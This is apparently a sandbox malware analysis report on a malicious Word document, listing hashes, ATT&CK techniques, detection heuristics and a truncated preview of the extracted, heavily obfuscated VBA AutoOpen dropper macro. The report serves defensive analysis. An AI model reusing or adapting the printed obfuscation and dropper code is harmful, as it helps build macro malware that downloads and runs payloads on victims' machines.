Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5b245f240d9d3851…

MALICIOUS

Office (OLE)

177.0 KB Created: 2018-05-21 13:10:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: f59a081318a5dc9827af0936cfa4ee2d SHA-1: 304662200267823f2e3b58d63a093a13f0406d49 SHA-256: 5b245f240d9d3851acf1ac7ff860f4066e62fecb6e1acb0e901c48bfc7d462e8
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office Word document containing a VBA macro with an AutoOpen function, a common technique for initial execution. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. This is further supported by the ClamAV detection name 'Doc.Dropper.Agent-6550394-0', suggesting a dropper functionality. The macro's intent is to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6550394-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6550394-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 246240 bytes
SHA-256: 90f1fc7b542196be21ae4bcad79e48e182138cbfdcddf8b6eea13afbee530fbc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EzHGczd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function hKmAEoQNTSI()

On Error Resume Next
prClFam = (GYZqVFnui - CDbl(178804) + nTEwHrsdKMJ + Fix(QZNoT / CLng(777485 * Sqr(lkEOU))) - 143648 / Sin(OQQbmlFlbBG - PtkLsbPaV - 466620 + CLng(Izchl)) * 415217 * Fix(178804))
PjUFm = "8Rowers9hgTqyUSGgOA7JA4U4hellGwSx  . ((GENPcsDK7wq3DaR"
DiLdKGVMR = CStr(Left(Right(PjUFm, 52), 5)) + CStr(Left(Right(PjUFm, 29), 4)) + Left(Right(PjUFm, 21), 4) + Left(Right(PjUFm, 17), 4) + Left(Right(PjUFm, 44), 1)

dKHXqXJDVH = "szeEPqc*mdR*').nAMI4gQU[3SL74HzbD9b2WSi5vek-vArIabLe 'ESUsHwVUatd4ZD6jBk7C8,11,zHMnjRac"
uouZYd = Left(Right(dKHXqXJDVH, 44), 11) + CStr(Left(Right(dKHXqXJDVH, 80), 11)) + Left(Right(dKHXqXJDVH, 85), 1) + CStr(Left(Right(dKHXqXJDVH, 64), 2)) + CStr(Left(Right(dKHXqXJDVH, 12), 4))

UrwZYNjUI = "szIEPqce('. ( ([sTr4gQUAngL74HzbD9b2WSi5vekqgx2]-jOin'')( HwVUatd4ZD6jBk7C81feUz]ryIVacRv9XeA"
rHpJziYoDw = CStr(Left(Right(UrwZYNjUI, 47), 12)) + CStr(Left(Right(UrwZYNjUI, 85), 11)) + Left(Right(UrwZYNjUI, 91), 1) + Left(Right(UrwZYNjUI, 69), 2) + CStr(Left(Right(UrwZYNjUI, 13), 5))

IDZEjmS = "sE3ePreFBdRmNhliCqIerBOswSL74HzbD9e2WSi"
twrIhzw = Left(Right(IDZEjmS, 20), 5) + CStr(Left(Right(IDZEjmS, 36), 5)) + CStr(Left(Right(IDZEjmS, 38), 1)) + CStr(Left(Right(IDZEjmS, 29), 1)) + CStr(Left(Right(IDZEjmS, 5), 1))

zXwUiK = "3u[1,EP]ceBdgNCE)iCqI4gQUAw"
bRwicjbhbi = Left(Right(zXwUiK, 14), 4) + Left(Right(zXwUiK, 25), 3) + Left(Right(zXwUiK, 27), 1) + Left(Right(zXwUiK, 20), 1)

qDonbjvaE = Chr(43)
hHrUVjtLRG = "2b'HqEiz3EPq"
mpGHDTUQmHz = CStr(Left(Right(hHrUVjtLRG, 7), 2)) + CStr(Left(Right(hHrUVjtLRG, 11), 2))

iBXsYNcY = Chr(43)
DLiXtwTRSd = "sz3dPqceBdb) ((EibLD5nsawSL74Hasd9b2WSi5vekqgxAzKKpOzlESU'xEib-JOInEibEi7C81feUzHMnjRacRv9XeAmaR4qCbO = EibmdCmqOIe8h"
wKUIO = CStr(Left(Right(DLiXtwTRSd, 60), 15)) + Left(Right(DLiXtwTRSd, 107), 14) + Left(Right(DLiXtwTRSd, 114), 1) + Left(Right(DLiXtwTRSd, 87), 3) + Left(Right(DLiXtwTRSd, 16), 6)

JQZmW = Chr(43)
zjupfmwpO = (ANVako - CDbl(531570) + vBwoPR + Fix(HniutSuhO / CLng(835175 * Sqr(ZLzzw))) - 531351 / Sin(cjzvQ - CLdjZTjO - 477086 + CLng(iOKisEEvvRS)) * 259741 * Fix(531570))
XmztdvNHz = "iu(BEEPbceBdgEib&iCqI4gQUAw"
MMEoWT = Left(Right(XmztdvNHz, 14), 4) + Left(Right(XmztdvNHz, 25), 3) + Left(Right(XmztdvNHz, 27), 1) + Left(Right(XmztdvNHz, 20), 1)

hfShbH = Chr(43)
PwnXj = "iuhnBEPqbeBdgmEibgCqI4gQUAwSL7"
RDdKp = Left(Right(PwnXj, 16), 4) + Left(Right(PwnXj, 28), 4) + CStr(Left(Right(PwnXj, 30), 1)) + CStr(Left(Right(PwnXj, 22), 1))

JsiDj = Chr(43)
fVjKlsb = "bgEisz3EPqEibdgmNhliC"
zMHodaMoKu = CStr(Left(Right(fVjKlsb, 11), 3)) + Left(Right(fVjKlsb, 20), 3) + Left(Right(fVjKlsb, 21), 1)

jfoFuhDCZli = Chr(43)
qoTEqoowt = "2bhHqEiz3EPq"
TYaIbAU = CStr(Left(Right(qoTEqoowt, 7), 2)) + CStr(Left(Right(qoTEqoowt, 11), 2))

AIkWBaqpH = Chr(43)
nKjkFYd = "heBgsz3EPqBghdgmNhliC"
SqXGwiB = CStr(Left(Right(nKjkFYd, 11), 3)) + Left(Right(nKjkFYd, 20), 3) + Left(Right(nKjkFYd, 21), 1)
RDTrOuJTswM = (vHhlKHzB - CDbl(510856) + HKmZlpidA + Fix(LYjjrv / CLng(23314 * Sqr(MGzhWub))) - 134218 / Sin(IKDDfEvWLK - hRcEfprlBDM - 14632 + CLng(qpqvtECk)) * 289198 * Fix(510856))
awObFsYhzBF = Chr(43)
LwlaOlhwMAE = "b1FHEisz3"
cuInTw = Left(Right(LwlaOlhwMAE, 5), 2) + Left(Right(LwlaOlhwMAE, 9), 1)

XSwPUfm = Chr(43)
QWSdi = "sE3w-objedgmihliCqI4gQEibBgh4HzbD9b2WSi5bekqg"
GiWvEPZznSp = CStr(Left(Right(QWSdi, 23), 6)) + Left(Right(QWSdi, 42), 6) + CStr(Left(Right(QWSdi, 44), 1)) + Left(Right(QWSdi, 33), 1) + Left(Right(QWSdi, 5), 1)

wfIjXLMX = Chr(43)
IpdjbaUm = "hcBgsz3EPqEibdgmNhliC"
YjHTFLdbh = CStr(Left(Right(IpdjbaUm, 11), 3)) + Left(Right(IpdjbaUm, 20), 3) + Left(Right(IpdjbaUm, 21), 1)

vSzSDdGAwDz = Chr(43)
NPTdT = "'tBgsz3EPqBghdgmNhliC"
VdVWrKS = CStr(Left(Right(NPTdT, 11), 3)) + Left(Right(NPTdT, 20)
... (truncated)